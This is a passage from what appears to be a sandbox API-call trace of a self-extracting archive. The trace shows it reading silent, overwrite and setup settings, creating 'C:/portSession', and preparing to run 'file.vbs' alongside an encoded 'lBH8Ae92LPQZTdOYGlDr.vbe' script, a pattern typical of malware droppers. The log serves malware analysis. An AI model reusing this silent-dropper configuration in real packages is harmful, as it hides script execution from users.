cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.530] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0070.531] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdc4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0070.531] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.531] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0070.532] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0070.532] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.532] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.532] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0070.533] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x15fdb8, nSize=0x1000 | out: lpDst="U") returned 0x2 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0070.533] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0070.534] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0070.534] SendMessageW (hWnd=0x701ec, Msg=0x111, wParam=0x1, lParam=0x0) returned 0x0 [0070.534] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.535] GetProcAddress (hModule=0x74ec0000, lpProcName="GetDlgItemTextW") returned 0x74eec910 [0070.535] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb54 | out: lpflOldProtect=0x16bb54*=0x4) returned 1 [0070.535] GetDlgItemTextW (in: hDlg=0x701ec, nIDDlgItem=102, lpString=0x17b71c, cchMax=2048 | out: lpString="C:/portSession/") returned 0xf [0070.535] GetDlgItem (hDlg=0x701ec, nIDDlgItem=104) returned 0x302ec [0070.536] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0070.536] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0xa435b4) returned 0x0 [0070.536] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.537] GetProcAddress (hModule=0x74ec0000, lpProcName="SetFocus") returned 0x74ef8e00 [0070.537] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb60 | out: lpflOldProtect=0x16bb60*=0x4) returned 1 [0070.537] SetFocus (hWnd=0x302ec) returned 0x0 [0070.600] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.601] GetProcAddress (hModule=0x74ec0000, lpProcName="LoadStringW") returned 0x74edf120 [0070.601] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb30 | out: lpflOldProtect=0x16bb30*=0x4) returned 1 [0070.601] LoadStringW (in: hInstance=0xa10000, uID=0xb9, lpBuffer=0xa51798, cchBufferMax=1024 | out: lpBuffer="Extracting files to %s folder") returned 0x1d [0070.602] GetLastError () returned 0x5 [0070.602] SetLastError (dwErrCode=0x5) [0070.602] PeekMessageW (in: lpMsg=0x16bb34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16bb34) returned 0 [0070.602] GetDlgItem (hDlg=0x701ec, nIDDlgItem=104) returned 0x302ec [0070.602] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.603] GetProcAddress (hModule=0x74ec0000, lpProcName="ShowWindow") returned 0x74ef8e60 [0070.603] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bae4 | out: lpflOldProtect=0x16bae4*=0x4) returned 1 [0070.603] ShowWindow (hWnd=0x302ec, nCmdShow=5) returned 1 [0070.603] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x0 [0070.604] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0xa435b4) returned 0x0 [0070.604] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x0 [0070.605] SendMessageW (hWnd=0x302ec, Msg=0x43a, wParam=0x0, lParam=0x16bb68) returned 0xf800003f [0070.605] SendMessageW (hWnd=0x302ec, Msg=0x444, wParam=0x1, lParam=0x16bb68) returned 0x1 [0070.605] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0x1795f4) returned 0x2a [0070.608] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x2a [0070.611] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0xa4431c) returned 0x1 [0070.612] CreateDirectoryW (lpPathName="C:/portSession" (normalized: "c:\\portsession"), lpSecurityAttributes=0x0) returned 1 [0070.616] SetFileAttributesW (lpFileName="C:/portSession", dwFileAttributes=0x0) returned 1 [0070.617] SetCurrentDirectoryW (lpPathName="C:/portSession/" (normalized: "c:\\portsession")) returned 1 [0070.617] GetTickCount () returned 0x1a8e59e [0070.617] GetLastError () returned 0x6 [0070.617] SetLastError (dwErrCode=0x6) [0070.617] CreateFileW (lpFileName="__tmp_rar_sfx_access_check_27846046" (normalized: "c:\\portsession\\__tmp_rar_sfx_access_check_27846046"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28 [0070.618] CloseHandle (hObject=0x28) returned 1 [0070.619] DeleteFileW (lpFileName="__tmp_rar_sfx_access_check_27846046" (normalized: "c:\\portsession\\__tmp_rar_sfx_access_check_27846046")) returned 1 [0070.620] GetDlgItem (hDlg=0x701ec, nIDDlgItem=103) returned 0x302cc [0070.620] ShowWindow (hWnd=0x302cc, nCmdShow=0) returned 1 [0070.620] GetDlgItem (hDlg=0x701ec, nIDDlgItem=102) returned 0x5004c [0070.620] ShowWindow (hWnd=0x5004c, nCmdShow=0) returned 1 [0070.620] LoadStringW (in: hInstance=0xa10000, uID=0xe6, lpBuffer=0xa51f98, cchBufferMax=1024 | out: lpBuffer="Pause") returned 0x5 [0070.621] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.621] GetProcAddress (hModule=0x74ec0000, lpProcName="SetDlgItemTextW") returned 0x74eea2c0 [0070.621] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb58 | out: lpflOldProtect=0x16bb58*=0x4) returned 1 [0070.622] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=1, lpString="Pause") returned 1 [0070.622] GetDlgItem (hDlg=0x701ec, nIDDlgItem=105) returned 0x302e8 [0070.622] ShowWindow (hWnd=0x302e8, nCmdShow=9) returned 0 [0070.622] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=101, lpString="") returned 1 [0070.622] GetDlgItem (hDlg=0x701ec, nIDDlgItem=101) returned 0x90308 [0070.622] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.623] GetProcAddress (hModule=0x74ec0000, lpProcName="GetWindowLongW") returned 0x74ed6fa0 [0070.623] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb5c | out: lpflOldProtect=0x16bb5c*=0x4) returned 1 [0070.623] GetWindowLongW (hWnd=0x90308, nIndex=-16) returned 1342341120 [0070.623] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.624] GetProcAddress (hModule=0x74ec0000, lpProcName="SetWindowLongW") returned 0x74ed3780 [0070.624] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x16bb58 | out: lpflOldProtect=0x16bb58*=0x4) returned 1 [0070.624] SetWindowLongW (hWnd=0x90308, nIndex=-16, dwNewLong=1342341248) returned 1342341120 [0070.627] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de48, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0070.627] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0070.627] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0070.627] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0070.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.628] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0070.629] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0070.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0070.630] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de48, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0070.630] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, 